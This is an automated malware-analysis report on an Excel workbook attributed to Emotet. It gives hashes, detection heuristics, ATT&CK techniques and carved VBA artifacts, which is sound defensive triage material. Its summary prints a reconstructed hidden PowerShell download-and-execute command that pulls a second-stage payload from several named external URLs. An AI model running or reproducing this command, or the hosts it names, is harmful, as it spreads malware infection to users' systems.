Emotet Office (OOXML) / .XLSX malware analysis — malicious · df4323afed79687d

MALICIOUS

Office (OOXML) / .XLSX

115.1 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000

MD5: 1be88ef099a02c0c2db3da08e612dbf5 SHA-1: 3366366b78271bf43e2ad49607f459a44b4b9501 SHA-256: df4323afed79687d32513ea2472657f6cbd61da9fa3a1cfcba262f556bc74dd2

200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File

The critical ClamAV detection and high-severity heuristics for Workbook_Open macros and CreateObject calls strongly indicate malicious intent. The embedded VBA code, specifically the obfuscated PowerShell command, attempts to download and execute a batch file from multiple URLs. The reconstructed PowerShell command is: 'wer.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://sumedahonline.com/wp-content/HyzNXJ30XQEVcBS RH/ '); http://divachintexile.com/wp-inculdades/WWhWRs8KvNzFm6/; http://hotelalandmalabol.com/1520/bUdhEPdf/; http://shwenantawin.com/copma/XTnZii02vfg' "'. This PowerShell command is designed to download and execute a second-stage payload, likely the batch file referenced in the DOC BODY. The presence of the 'EmotetExcel' signature further supports this family attribution.

Heuristics 5

ClamAV: Xls.Downloader.EmotetExcel02223-9938902-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.EmotetExcel02223-9938902-0
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA project inside OOXML medium OOXML_VBA

Document contains vbaProject.bin — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	12041 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.
`vbaProject_00.bin` `6fd3b80997969246b8492a9db97f8e051e13eb60374f55f77f50e4cd578d9b2b`	vba-project	OOXML VBA project: xl/vbaProject.bin	42496 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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